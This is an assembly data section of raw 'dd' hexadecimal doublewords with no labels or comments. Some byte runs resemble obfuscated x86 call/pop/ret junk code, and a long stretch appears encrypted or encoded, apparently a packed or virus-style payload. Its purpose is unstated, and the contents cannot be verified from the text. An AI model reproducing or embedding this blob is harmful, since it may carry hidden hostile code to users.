		dd 1B04h, 0C3514100h, 1DBAE510h, 0F543E30Fh, 0F5C3880h
		dd 4584h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 80F51CB6h, 840F2F38h, 1Eh, 4ED8D31h
		dd 0BD8B0648h, 64803F1h, 0A83E853Bh, 830F064Bh,	0FFFFFF94h
		dd 27298D29h, 6A400648h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 57A7C351h, 0F041AF20h
		dd 51FCA938h, 2880Fh, 59560000h, 46BD835Ah, 64BA8h, 85840Fh
		dd 8D8B0000h, 6481879h,	0A8B0F50h, 0E9000000h, 5, 6B5F432Dh
		dd 24048930h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	48C35141h, 0F901B165h, 891A41F9h, 48118995h, 46850306h
		dd 0F064BA8h, 68Ah, 919D0300h, 0C606482Fh, 0AB20000h, 56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 2952F609h, 33527744h, 4829799Dh, 90FC5906h, 0C4978B9h
		dd 88BA505Ah, 9048CFDCh, 8C92BF66h, 0A832B5FFh,	95FF064Bh
		dd 64BA836h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0F2C35343h, 0DD2CA821h,	64E753CBh, 17870Fh, 820F0000h
		dd 11h,	0BE8h, 83433100h, 73D6BD6Dh, 5FA3324Ch,	618D895Ah
		dd 0B06481Bh, 91850FC0h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DB38C356h
		dd 8BE06846h, 481535BDh, 1958906h, 61064817h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F1C35242h, 0AB3B8FBBh
		dd 3A85C710h, 1064BA8h,	80000000h, 67E995D6h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 9E04C357h, 0AE9DD091h, 89F9F152h,	68F0Fh
		dd 0B5890000h, 6481CD9h, 50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0B4E3F2FEh, 81185F7Ah
		dd 11CC6h, 0DA816600h, 0F9E9C56Ah, 80FFFFFCh, 3A68F0DEh
		dd 8BACC0EEh, 240481CAh, 533F91C6h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 8CC35040h, 1AB9EB98h, 81664347h
		dd 8B8AA0CAh, 48121D95h, 8B006A06h, 4815759Dh, 42B5FF06h
		dd 29064BA8h, 480E098Dh, 0F595FF06h, 0F06480Ah,	684h, 91958B00h
		dd 8B06480Eh, 4BA83A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0E80D1360h, 0DEB6BFC0h
		dd 0E7817463h, 103BA73Fh, 8E990h, 8A650000h, 3A1B12E0h
		dd 50507605h, 0F95B552h, 5AD38B31h, 9D8B9058h, 6482AD1h
		dd 0A84A858Dh, 958B064Bh, 648072Dh, 0D78B6690h,	0F88B6650h
		dd 9D9D8B90h, 6606480Fh, 858DD38Bh, 64BA807h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 32C35343h, 1753FB38h
		dd 57CBF1F4h, 90B0B7A4h, 50CE8B66h, 12E8h, 238F2600h, 0E64E0274h
		dd 0AC148B27h, 0BC5EEEF8h, 5076EE00h, 7E852h, 0F04A0000h
		dd 0DE3FE4CBh, 310F5911h, 850Fh, 585A0000h, 6A905Fh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 2356DAC3h, 0B589C42Dh, 64830E9h, 173195FFh, 6A0648h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0DA817EC3h, 8B0BD605h, 48137195h, 0FC08B06h,	688h, 0B19D8B00h
		dd 83064823h, 481299BDh, 9750006h, 0D35BD83h, 74000648h
		dd 8B535013h, 4D0B8C0h,	9D8D0000h, 64AA29Fh, 585BD3FFh
		dd 0D35BD83h, 74000648h, 0B8535011h, 4D0h, 0A19E9D8Dh
		dd 0D3FF064Ah, 6A585Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 89BE98C3h, 6ADFC1A5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 4AC0C353h, 3FC0F946h, 66890D1Ah, 14E9DA8Bh, 60000000h
		dd 9096E06Eh, 0D20BF481h, 77F7221Ah, 88BB0665h,	8B7E8F4Bh
		dd 0C5E381C0h, 58716EE3h, 30458D89h, 8C20648h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0C674F779h, 0FD14BAA2h, 0FEB70FD0h, 61BBC08Bh, 8D52CA8Bh
		dd 4BA85E85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 33F04211h, 14E9C9h, 1F9C0000h, 0A7D8B012h
		dd 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 858916C1h, 64815A5h
		dd 39EBh, 2CC00BFh, 2E400BFh, 0BFh, 0B16C0000h,	0BD4B47BCh
		dd 0B56F76A5h, 0B17422B4h, 0F6EC4FBFh, 0D8AC4EB5h, 9424769Fh
		dd 0AC7E229Dh, 0B67D529Eh, 0BD7E4A85h, 0B80646B0h, 305422BBh
		dd 0D88122D2h, 87037DF1h, 0DC445E58h, 0DC146650h, 0D81822C9h
		dd 0A1CF7596h, 0D9A8A842h, 0D869E25Ah, 0D882CA84h, 85E022D1h
		dd 0B4E97F12h, 9CB126F5h, 0D80F26F5h, 8D4922D1h, 1A639912h
		dd 0B9B6A91Bh, 5B876AF8h, 90D2BB6Ch, 0D11522D7h, 0D5059F52h
		dd 0AC182499h, 535F72C8h, 0DCBF9A11h, 5D8A22D1h, 0DEC90B68h
		dd 7CA4BF5Ch, 0B9F249Bh, 65B37A8Ah, 0DE502FE4h,	881B56D1h
		dd 0DCBF9A82h, 5D8A22D1h, 0DEC90B68h, 7993BF5Ch, 0B9F249Bh
		dd 0D85A7A8Ah, 0D81BCA81h, 802C22D1h, 9C8F7A12h, 9C8226F5h
		dd 0D89B26F5h, 888022D1h, 4028212h, 0E4783C6Ah,	0CEC9AFE0h
		dd 0D2B32499h, 5319C121h, 8F034811h, 0D8812139h, 1B9F02D1h
		dd 0FC1CAB8Eh, 0FC74A3D5h, 0D81837D5h, 1B5B65D1h, 66BCD4D8h
		dd 584F304Dh, 5D476323h, 0DE882D28h, 59D5AB87h,	30366AC7h
		dd 0D81822D5h, 44A49A83h, 0DB769C81h, 9C88120Eh, 5F8E26F5h
		dd 0D8C022D8h, 30609DB1h, 2BB7722h, 8818A9B0h, 8A5E7283h
		dd 6D372D8Bh, 0D75B7893h, 0D88ACBE0h, 0B8E922D1h, 702BB1F9h
		dd 19DD7EF7h, 51407806h, 67080695h, 0A5E123C2h,	71B6DD89h
		dd 0BE876AF8h, 129CB50h, 0A700A75Ch, 0CBD9249Ah, 9F1822D1h
		dd 0A55A6EE6h, 9A631989h, 0F641CD2Dh, 4E140F8Bh, 83FAEA2h
		dd 0CCBD975Ah, 0D3D92499h, 5C1822D1h, 0ED1EE08Ch, 0AAF63911h
		dd 0DC69F137h, 0F448A3B7h, 0F3434A19h, 0DE896D76h, 7C3022D1h
		dd 0F3AA0CFBh, 0FC38A34Dh, 97A11952h, 305022BBh, 0D88122D2h
		dd 830379F1h, 0DC447E58h, 0DC146650h, 0D81822C4h, 18CF7192h
		dd 0D3EF427Ch, 3F0322D1h, 0A20B75D0h, 164EB784h, 4D63F9D8h
		dd 0DE780904h, 0D81CCAB0h, 0DAE022D1h, 616022D1h, 5353DDC3h
		dd 0FCC5A921h, 0EA479CD5h, 0D8EB1D55h, 298E4280h, 614B8229h
		dd 0BDB5EFABh, 9C8F78B0h, 585B26F5h
		dd 0D8EB5C00h, 309122BBh, 0D86022D2h, 81F37BF1h, 0DC3C6E58h
		dd 0DC286650h, 0D80622C7h, 87C07390h, 5DA87FD7h, 0DE883728h
		dd 0D80AF22Eh, 0D833CA84h, 853822D1h, 0B4857F12h, 9C8726F5h
		dd 0D81E26F5h, 8DC422D1h, 67727812h, 6BD2247Bh,	0D78D7F10h
		dd 0D818245Eh, 0D1B911D1h, 51006AD9h, 93B55F54h, 8A8148D7h
		dd 0D8C02139h, 1B3A02D1h, 0FC64AB8Bh, 0FC5CA3D5h, 0D80C3ED5h
		dd 1B5460D1h, 36623B1Fh, 0C40FF154h, 0DB4F2DFCh, 586022D1h
		dd 563F4613h, 0D81822D1h, 0C8B59F5Ah, 208D2499h, 0D801EED4h
		dd 5904ABD1h, 5BC66967h, 5DE93A11h, 0DE7B9454h,	34A1E2E2h
		dd 2B0C22D3h, 0DD812D7Bh, 660322D1h, 8E58FFD1h,	62444968h
		dd 21E5E4F2h, 9B366ADEh, 304922BBh, 0D80C22D2h,	81C57BF1h
		dd 0DC276E58h, 0DCA56650h, 0D8C022C4h, 1A37390h, 0D83BCAFEh
		dd 3E1E22D1h, 0DC1DAE3Eh, 0CBADEBD5h, 21BEA97Fh, 87876AF7h
		dd 0D8C02639h, 0BF0B7CD1h, 0D762724Dh, 0FC4698E0h, 80566501h
		dd 61664281h, 0D8C8F347h, 0D8813039h, 6CA9F8D1h, 74FAED69h
		dd 45882057h, 0E1F46897h, 8239EA65h, 9C8D43B0h,	606326F5h
		dd 0AE2C51C5h, 52C0A9B0h, 0FC24AB25h, 0EF2198D5h, 0B2401CB8h
		dd 0DBE474D1h, 0F80622D1h, 515DE18Fh, 598506A5h, 0C0C40695h
		dd 9E6022D1h, 0BCD9E187h, 0BED0646Ah, 24E9C56Eh, 0F1AF972Eh
		dd 0D8692499h, 0D882CA86h, 87E022D1h, 0A4E97D12h, 9CB126F5h
		dd 0D80026F5h, 8F4B22D1h, 0EF895812h, 0D0EA70D5h, 0E28122D1h
		dd 0A458057Ch, 55B0A583h, 934F4254h, 8A1848D7h,	0D80C2139h
		dd 1B5C02D1h, 0FC57AB8Bh, 0FCC5A3D5h, 0D8C036D5h, 1B3260D1h
		dd 0E5BD0901h, 271E6AC1h, 8D0C4801h, 0D8062139h, 1B5E02D1h
		dd 0FCEDAB8Ch, 0FC84A3D5h, 0D8603BD5h, 1B6567D1h, 2C2057CAh
		dd 6D3DFD41h, 0DE4E2B38h, 0FB96A758h, 0C9682499h, 9EC022D1h
		dd 597316DAh, 1CAE63C4h, 0AE56B04Dh, 274BA47Ah,	0DB2BA75Ch
		dd 0D8692499h, 0D882CA84h, 85E022D1h, 0B4E97F12h, 9CB126F5h
		dd 0D80226F5h, 8D4922D1h, 6A58AE12h, 0A5475DAAh, 155ED550h
		dd 5D497D81h, 0DE2809FCh, 306122BBh, 0D81822D2h, 81CF7BF1h
		dd 0DC226E58h, 0DC276650h, 0D88122C8h, 6C037390h, 72BBFE53h
		dd 21B5E4DBh, 8B1E6ADEh, 666AD85Ah, 0A76EFFB5h,	0BEB58CF5h
		dd 59734D68h, 0FC9906D5h, 0D28864D2h, 483022D1h, 0F4CF927h
		dd 0EB436764h, 62E4A3AFh, 877B5B3Bh, 0F128972Eh, 67CF2499h
		dd 0B8E5AF2Ah, 0B23669AEh, 0DBF073D1h, 0F80C22D1h, 515FE188h
		dd 5907069Dh, 0C5850695h, 99C022D1h, 9C30E180h,	0D4C32A7Dh
		dd 119308DAh, 0D80AA1DEh, 4D0722D1h, 0DE4B0B70h, 5D08F22Eh
		dd 0DE882BFCh, 303222BBh, 0D83022D2h, 82DB78F1h, 0DC287658h
		dd 0DC226650h, 0D80322CCh, 12427093h, 0F67221A8h, 5CF68EDBh
		dd 21B5E4ECh, 8B1E6ADEh, 305F22BBh, 0D80622D2h,	83C079F1h
		dd 0DCA57E58h, 0DCE46650h, 0D86022CBh, 7DF37192h, 54E6AE37h
		dd 1D8CDD27h, 0D802CA3Fh, 1CB022D1h, 66E7FAC9h,	5390E862h
		dd 0D7640695h, 0D830265Ah, 0B97842D1h, 880CA9B0h, 82CDA9B7h
		dd 0DC276658h, 0D88DCA81h, 625422D1h, 0CA8E46C7h, 936C26F8h
		dd 0D4F1B012h, 9E0C22D1h, 0A73AAEDDh, 35D7158Eh, 81A99C78h
		dd 0DF297A88h, 526022D1h, 56FEEF86h, 6DE77F20h,	0DE440B78h
		dd 2B8744B1h, 0D5EB1FBFh, 208122D1h, 6E44B3BBh,	7C6A34A9h
		dd 0E3A592D4h, 55797924h, 93734254h, 0D0862DD7h, 8E0322D1h
		dd 0D510AF58h, 279E2499h, 89604801h, 0D8302139h, 1B4102D1h
		dd 0FC40AB88h, 0FC42A3D5h, 0D8033BD5h, 1BD063D1h, 40F92A93h
		dd 5100911Fh, 90360F5Ch, 0AAF2DD7h, 2D89ABB0h, 0B2006AD8h
		dd 0DBEB70D1h, 0F88122D1h, 519AE18Bh, 59640685h, 0C5340695h
		dd 9A1822D1h, 123FE183h, 0D124CE34h, 0A7D57356h, 0E9F49F58h
		dd 5D062499h, 0DE282D28h, 0D8B92D96h, 0B01822D1h, 541EED75h
		dd 0A9129CB7h, 0DD272650h, 0F1AAEEDFh, 90DB1F54h, 71D5DDD7h
		dd 0D9366AF8h, 90032354h, 0D2E572D7h, 520622D1h, 0C1D29CE1h
		dd 0BF7DD8C3h, 5D4D7D07h, 0DE2B5DB1h, 0E42E550h, 8E769C4h
		dd 0AC6CB50h, 5D8F0A68h, 0DE4B2E2Ch, 30D622BBh,	0D8C022D2h
		dd 87A37DF1h, 0DC145E58h, 0DC3C6650h, 0D80C22CCh, 56C57596h
		dd 868B7A85h, 9272BC07h, 2145E446h, 9F666ADEh, 0D181AFE0h
		dd 0E7702499h, 5308F492h, 0FC02A307h, 0A506EFEAh, 30D622BBh
		dd 0D8C022D2h, 87A37DF1h, 0DC145E58h, 0DC3C6650h, 0D80C22CAh
		dd 0B7C57596h, 26D96241h, 27627963h, 90E98B64h,	0D86BCBD7h
		dd 4E1E22D1h, 42126657h, 0B8BE77C8h, 0B883AF0Ah, 270569AEh
		dd 0D514A901h, 51C66AFEh, 90517F54h, 21B5E4D7h,	9F1E6ADEh
		dd 0FFE9B7D0h, 0DCEE2499h, 850322D1h, 882BEFEDh, 0D8D4CB83h
		dd 0C14422D1h, 70551B3Eh, 0E45335A1h, 0E7996E5Dh, 4EDBFB88h
		dd 0E90CAD3Ah, 0A05C4068h, 889878DFh, 9CEBD55Ah, 8A6026F5h
		dd 6E7942B1h, 0E90343ECh, 8A567081h, 805913DEh,	80DB13DEh
		dd 0D84B7A8Bh, 0D8602A39h, 7D49F6D1h, 0FC710820h, 606A42F2h
		dd 5360F101h, 515A431Bh, 0B8850695h, 0DC0086Eh,	0F5A29C91h
		dd 80516325h, 304A22BBh, 0D80C22D2h, 82C578F1h,	0DC277658h
		dd 0DCA56650h, 0D8C022CAh, 81A37093h, 8E8648C6h, 53B0C066h
		dd 90160B64h, 71B3DDD7h, 66056AF8h, 0C201E991h,	0A7A0A75Ch
		dd 6DE9249Ah, 0DE782E34h, 0D872F22Eh, 0D80FCA83h, 822622D1h
		dd 8C8A7812h, 9C0026F5h, 0D8D626F5h, 8A2222D1h,	6C5A4F12h
		dd 0DE3997F8h, 5D852499h, 0DE4E0C0Ch, 305622BBh, 0D88122D2h
		dd 85037FF1h, 0DC444E58h, 0DC146650h, 0D81822C6h, 0E9CF7794h
		dd 0BEDFF10Fh, 0B08EE550h, 0D8EBF22Eh, 0D8C3CA87h, 864022D1h
		dd 0ACB97C12h, 9C9926F5h, 0D81826F5h, 8E4022D1h, 670CF512h
		dd 5D04AB01h, 0B2C66ACBh, 0DB8875D1h, 0F83022D1h, 5147E18Eh
		dd 590806ADh, 0C5020695h, 9F0322D1h, 0FFC2E186h, 92A0998Fh
		dd 2EC89937h, 0C955A7F8h, 65932499h, 0DE4434F4h, 0B2DEAEB7h
		dd 0DBEB70D1h, 0F88122D1h, 519AE18Bh, 59640685h, 0CE340695h
		dd 9A1822D1h, 6BC0E183h, 0FCECA8EAh, 1809DED5h,	0DA65A6DEh
		dd 0D12922D1h, 676022D1h, 0B539CA1Dh, 0D04A8DCAh, 0D7F5A717h
		dd 53492499h, 9025F764h, 55F04AD7h, 0E07FE125h,	595CC37Bh
		dd 398506E5h, 0D8725EA5h, 0D80FCA83h, 822622D1h, 8C8A7812h
		dd 9C0026F5h, 0D8DC26F5h, 8A2222D1h, 7E0B2112h,	0C4D36A32h
		dd 6DF3DC29h, 0DE4E0B78h, 0A763A75Ch, 277D249Ah, 8EC04801h
		dd 0D8602139h, 1B6E02D1h, 0FC6CAB8Fh, 0FC48A3D5h, 0D80637D5h
		dd 1B5564D1h, 4D0875B6h, 0DE883098h, 0BE44E252h, 51DBBF6Eh
		dd 9030974Ch, 9989ABD7h, 31006AD6h, 0D80322DAh,	83548336h
		dd 23A64ACDh, 53E7FD60h, 902AA754h, 881848D7h, 0D80C2139h
		dd 1B5E02D1h, 0FC47AB89h, 0FCC5A3D5h, 0D8C03FD5h, 1B3062D1h
		dd 1342DD73h, 1034E70Fh, 6587616Ch, 0DE4E35BCh,	0F6DEBF5Ah
		dd 53E72499h, 0D8AA612Fh, 0D863CA86h, 871022D1h, 0A4917D12h
		dd 9C8D26F5h, 0D81D26F5h, 8F4422D1h, 8541C512h,	0C3424F77h
		dd 1D5135Bh, 0B8366AF0h, 0D1759FD8h, 6F032499h,	0C38D4310h
		dd 305422BBh, 0D88122D2h, 87037DF1h, 0DC445E58h, 0DC146650h
		dd 0D81822C7h, 96CF7596h, 550DEF49h, 0DE4B09F0h, 0D8EB395Ah
		dd 0D8C3CA86h, 874022D1h, 0A4B97D12h, 9C9926F5h, 0D81526F5h
		dd 8F4122D1h, 78DE8912h
		dd 3028CB96h, 0D8C022C1h, 73211A09h, 93C6A29Ah,	82B677BCh
		dd 4456E57Ch, 0DF9B9F5Ah, 535A2499h, 8E8148CAh,	0D8C02139h
		dd 1B3E02D1h, 0FC44AB8Fh, 0FC5CA3D5h, 0D80C39D5h, 1B5064D1h
		dd 6D4EDDB2h, 3E8A6A72h, 0EB9AD781h, 45E9D709h,	0DE7830C8h
		dd 0D9E9AF5Ah, 5DCA2499h, 0DE4E2D28h, 8A034896h, 0D8812139h
		dd 1B9A02D1h, 0FC34AB8Bh, 0FC74A3D5h, 0D81834D5h, 1B5E60D1h
		dd 0D7067D23h, 0D803335Bh, 0D888CAD1h, 0F06C22D1h, 0B7EB226Eh
		dd 53692F3Bh, 0BC707B26h, 0BE37C543h, 59EF516Eh, 934606D5h
		dd 55085926h, 0DE882844h, 0F1C9972Eh, 55BB2499h, 0DE5038FCh
		dd 0A76CA75Ch, 0D86C249Ah, 0D800CA86h, 87A122D1h, 0A4497D12h
		dd 9CE126F5h, 0D82926F5h, 8F5F22D1h, 172A8F12h,	5198CCE9h
		dd 901B1F54h, 951C0BD7h, 27C66AE3h, 8B604801h, 0D8302139h
		dd 1B4302D1h, 0FC50AB8Ah, 0FC42A3D5h, 0D8033ED5h, 1BD261D1h
		dd 9C83C69Eh, 0DE7D9920h, 51C8A9F2h, 9014DF54h,	8B0C48D7h
		dd 0D8062139h, 1B5802D1h, 0FCDDAB8Ah, 0FC84A3D5h, 0D86037D5h
		dd 1B6361D1h, 6591D68Dh, 0DE440940h, 0C83BA758h, 31432499h
		dd 0D88122C2h, 0B17AEB44h, 0E8C3FF85h, 0B09D17E0h, 0A8125840h
		dd 8FF79408h, 0D8062C38h, 0D8336ED1h, 5261303h,	0B601D055h
		dd 879F20A6h, 2B1225Ah,	0A8B6FB3Ah, 6703225Ah, 0E983AB00h
		dd 31056AF8h, 0D88123C1h, 0D7D1975Ah, 5DED2499h, 0DE7B9472h
		dd 0D0D997FAh, 515C2499h, 6D8D06D5h, 0DE4B0EE0h, 0C16CB72Eh
		dd 0D8AA2499h, 0D863CA87h, 861022D1h, 0AC917C12h, 9C8D26F5h
		dd 0D81D26F5h, 8E4522D1h, 0DCCA7D12h, 0D4B20477h, 0D874CBC9h
		dd 51B122D1h, 650FF027h, 760FB799h, 0ECB26709h,	56D7209Bh
		dd 450CB80Eh, 0DE8B9478h, 303722BBh, 0D83022D2h, 87DB7DF1h
		dd 0DC285E58h, 0DC226650h, 0D80322CAh, 0FA427596h, 140DFFB7h
		dd 0D7DEB4C7h, 8BA3EC6Eh, 0D81AABDEh, 138722D1h, 0D4EF728Bh
		dd 880322D1h, 0ACC57A31h, 53D2522Ch, 4BD0FE00h,	306322BBh
		dd 0D81822D2h, 83CF79F1h, 0DC227E58h, 0DC276650h, 0D88122CAh
		dd 74037192h, 93BD8ED6h, 0F151A9D3h, 90374B54h,	0DC802DD7h
		dd 0BE0622D1h, 482D5968h, 0DA0B2D81h, 6DC022D1h, 556BB248h
		dd 0DE7836D0h, 0D80DBF58h, 4DF32499h, 0DE4E2BCCh, 0F6B69F5Ah
		dd 5D082499h, 0DE882590h, 0D866A9DEh, 65B922D1h, 0DE5029C0h
		dd 0D7F5A717h, 0B2552499h, 0DBEB73D1h, 0F88122D1h, 5199E188h
		dd 5964069Dh, 0CE340695h, 991822D1h, 32D6E180h,	4D734A9Bh
		dd 8A53AE41h, 0D882A2DEh, 53A622D1h, 8A512D06h,	826FF55Ah
		dd 0FC2CA389h, 0FE1B33DBh, 0E993AF5Ah, 6DFC2499h, 0DEC90B78h
		dd 0A7A0A75Ch, 6DE9249Ah, 0DE78057Ch, 0C88D3E6Fh, 51DCDDFAh
		dd 90067354h, 8E0348D7h, 0D8812139h, 1B9E02D1h,	0FC14AB8Fh
		dd 0FC74A3D5h, 0D81834D5h, 1B5A64D1h, 1E3BB91Ch, 900CDB54h
		dd 200A65D7h, 0C241BFD8h, 4C082499h, 0BEB24DC8h, 0EC99E85Ah
		dd 0C50026F5h, 880648F2h, 0D8032139h, 1BD902D1h, 0FC84AB89h
		dd 0FC24A3D5h, 0D83034D5h, 1B4862D1h, 0EB637831h, 90039B5Ch
		dd 658A73D7h, 0DEC909ACh, 657D0B8Fh, 27666AFFh,	90198B64h
		dd 8F1848D7h, 0D80C2139h, 1B5902D1h, 0FC7FAB8Eh, 0FCC5A3D5h
		dd 0D8C03BD5h, 1B3765D1h, 0CAC0592Ch, 0B84822DAh, 0FAADB7F8h
		dd 650F2499h, 0DE4B22B4h, 5D0C7BB0h, 0DE8B5DB1h, 303322BBh
		dd 0D83022D2h, 83DB79F1h, 0DC287E58h, 0DC226650h, 0D80322C7h
		dd 1E427192h, 83F242Fh,	303122BBh, 0D83022D2h, 81DB7BF1h
		dd 0DC286E58h, 0DC226650h, 0D80322C9h, 0B2427390h, 4B141F6Ch
		dd 0D801A758h, 0D85A2499h, 0D81BCA86h, 872C22D1h, 0A48F7D12h
		dd 9C8226F5h, 0D89D26F5h, 8F8722D1h, 0DB7F3112h, 0DBF5AD29h
		dd 537EA2CFh, 2189E421h, 8B006ADEh, 305522BBh, 0D88122D2h
		dd 86037CF1h, 0DC445658h, 0DC146650h, 0D81822CAh, 0A4CF7497h
		dd 6226FE70h, 0BEDFED5Bh, 30D4E36Bh, 0D8C022DFh, 295AFDBFh
		dd 6C743A80h, 0FDE67544h, 6F03E59Fh, 0DCEE7D20h, 480322D1h
		dd 88181B8Eh, 0B917A9B1h, 0DC44665Ah, 0D2D8225Ah, 491822D1h
		dd 75312E7Ch, 9B7A9571h, 208844CDh, 0FCC5AB8Fh,	802B97D5h
		dd 303622BBh, 0D83022D2h, 86DB7CF1h, 0DC285658h, 0DC226650h
		dd 0D80322C4h, 0C1427497h, 0E606A38Fh, 313DD9E7h, 0D83022DFh
		dd 0B38736BDh, 70388021h, 9CC3A498h, 6DFC5E52h,	0DEC90B78h
		dd 0D8C02839h, 7AA52ED1h, 0E1C9E3E6h, 0D769612Eh, 0F156F466h
		dd 9029334Ch, 0B886AFD7h, 0B28769AEh, 0DB2872D1h, 0F86022D1h
		dd 5168E189h, 591C0695h, 0C3080695h, 980622D1h,	99C8E181h
		dd 0B6DC1AA5h, 56CFDB2Ah, 0D86022D9h, 0D8B12DB1h, 0B91822D1h
		dd 0D866F22Eh, 0D805CA87h, 862322D1h, 0AC087C12h, 9C4126F5h
		dd 0D87726F5h, 8E7622D1h, 0D049E312h, 0D5E5702Fh, 790622D1h
		dd 70072791h, 8C96028h,	0BD69E0FBh, 0A9E5AB88h,	0B2366ADFh
		dd 0DBF073D1h, 0F80C22D1h, 515FE188h, 5907069Dh, 0C3850695h
		dd 99C022D1h, 0AC86E180h, 5DB9FCB6h, 5DDECD25h,	0DE442D28h
		dd 0D4852D86h, 0D70322D1h, 0D8812450h, 7D75ABD1h, 0B0666AF8h
		dd 0F61390B8h, 0D8182B39h, 1C4E7FD1h, 0EDA57211h, 0DDEB8E06h
		dd 0FC8122D1h, 554179D9h, 823ED35Bh, 45142650h,	2779C24Eh
		dd 90258B64h, 9DBBA9D7h, 55056ADFh, 93FE4254h, 89C048D7h
		dd 0D8602139h, 1B6902D1h, 0FC54AB88h, 0FC48A3D5h, 0D8063BD5h
		dd 1B5263D1h, 0E0DD81B8h, 0D7382A24h, 0D8603A5Eh, 0D820CAD1h
		dd 788022D1h, 800E8B9h,	97FD269Fh, 0AAEDA658h, 0B9E1E495h
		dd 4D4DA988h, 27666AFFh, 8A304801h, 0D8182139h,	1B5602D1h
		dd 0FC52AB8Bh, 0FC47A3D5h, 0D8813FD5h, 1B9260D1h, 879FC73Eh
		dd 0CDDF8766h, 5B17BA5Eh, 0D80C22D7h, 0CC0797D2h, 5D8A2499h
		dd 0DEC93208h, 309222BBh, 0D86022D2h, 82F378F1h, 0DC3C7658h
		dd 0DC286650h, 0D80622CBh, 82C07093h, 4F96ED0h,	0D529AD78h
		dd 176022D1h, 0DAB68E4Bh, 925EBF69h, 10B81B3Dh,	0D7FFA717h
		dd 0D1402499h, 9098936Ch, 72E44AD7h, 0DAD1CA63h, 0D4141650h
		dd 0B24C000Bh, 0DBE473D1h, 0F80622D1h, 515AE188h, 5985069Dh
		dd 0CFC40695h, 996022D1h, 3E2CE180h, 6519CB84h,	0DE443858h
		dd 0F1AF972Eh, 0D8692499h, 0D882CA83h, 82E022D1h, 8CE97812h
		dd 9CB126F5h, 0D80226F5h, 8A4E22D1h, 0A72D112h,	0B23575CCh
		dd 89342BB1h, 52C66AFDh, 6F6F431Bh, 0D8B92D26h,	551822D1h
		dd 93734254h, 658D71D7h, 0DE4B2C90h, 5151DD8Eh,	90D2CB54h
		dd 0D869CAD7h, 0D11722D1h, 0AC6FA203h, 53FED197h, 5D8B7806h
		dd 0DE489448h, 30D122BBh, 0D8C022D2h, 80A37AF1h, 0DC146658h
		dd 0DC3C6650h, 0D80C22C9h, 62C57291h, 0D6143FC3h, 0C350BF58h
		dd 8A502499h, 46FE9DB7h, 583F728Eh, 0D81822D3h,	0B29CCD5Bh
		dd 0DBEE71D1h, 0F80322D1h, 51DAE18Ah, 59C4068Dh, 0C0640695h
		dd 9B3022D1h, 0F875E182h, 0D7F992F4h, 0D8062157h, 82FB70D1h
		dd 27719DDEh, 90D9CF44h, 9FBEA3D7h, 5314DA4Dh, 8D184809h
		dd 0D80C2139h, 1B5B02D1h, 0FC6FAB8Ch, 0FCC5A3D5h, 0D8C038D5h
		dd 1B3567D1h, 68FDDBECh, 51C4EF3Ch, 9012C76Ch, 0D80ACBD7h
		dd 52EE22D1h, 740C0E29h, 0C12AE1F2h, 53060F14h,	55B5AF00h
		dd 531E6967h, 2EB32D21h, 0F8D4441h, 0D80BCA81h,	5D0D22D1h
		dd 0A7845308h, 0D737B346h, 0D8302259h, 48427BD1h, 305922BBh
		dd 0D80622D2h, 85C07FF1h
		dd 0DCA54E58h, 0DCE46650h, 0D86022CAh, 7BF37794h, 0E9381B11h
		dd 88CD99D4h, 51F1A9B7h, 0D35406CDh, 90AB2B64h,	4D3F7DD7h
		dd 0DE282BCCh, 0FF49975Ah, 5D912499h, 0DE440A20h, 305522BBh
		dd 0D80322D2h, 834279F1h, 0DCE47E58h, 0DC446650h, 0D83022CBh
		dd 76DB7192h, 0F1A37AD0h, 6709AD0Eh, 0F586E522h, 0D7876AD9h
		dd 0B2C022D1h, 0DB8877D1h, 0F83022D1h, 5145E18Ch, 590806BDh
		dd 0C0020695h, 9D0322D1h, 0C1CE184h, 539ECFE2h,	90530364h
		dd 69B5ABD7h, 511E6ADCh, 902C0B54h, 2993DDD7h, 0B2056AF9h
		dd 0DB6974D1h, 0F8C022D1h, 513EE18Fh, 593406A5h, 0C51C0695h
		dd 9E0C22D1h, 5E1AE187h, 38207923h, 260C34E4h, 0A145AB24h
		dd 0B2666AD5h, 0DBD874D1h, 0F81822D1h, 5152E18Fh, 590206A5h
		dd 0C3070695h, 9E8122D1h, 3133E187h, 1DD6D9BCh,	65319665h
		dd 0DE502908h, 0FB99A75Ah, 458B2499h, 0DE48EB28h, 55806158h
		dd 90C30F6Ch, 0BD5AFD7h, 61366918h, 0D81822E2h,	0EBE78622h
		dd 0D8062269h, 0ACC329D1h, 0D899E0D2h, 0D4E4665Ah, 0D860CA82h
		dd 596B22D1h, 0D8183512h, 0FC50ABD1h, 0FC42ABC1h, 0EFBB79C5h
		dd 2781BD71h, 0FC84A931h, 5180DDD5h, 902C2744h,	598523D7h
		dd 0B90A6AC4h, 0CCB7975Ah, 658E2499h, 0DECA945Ch, 12F5AF5Ch
		dd 0EDD8249Ah, 0EBA8047Ah, 9003AF54h, 19C309D7h, 0BBB82038h
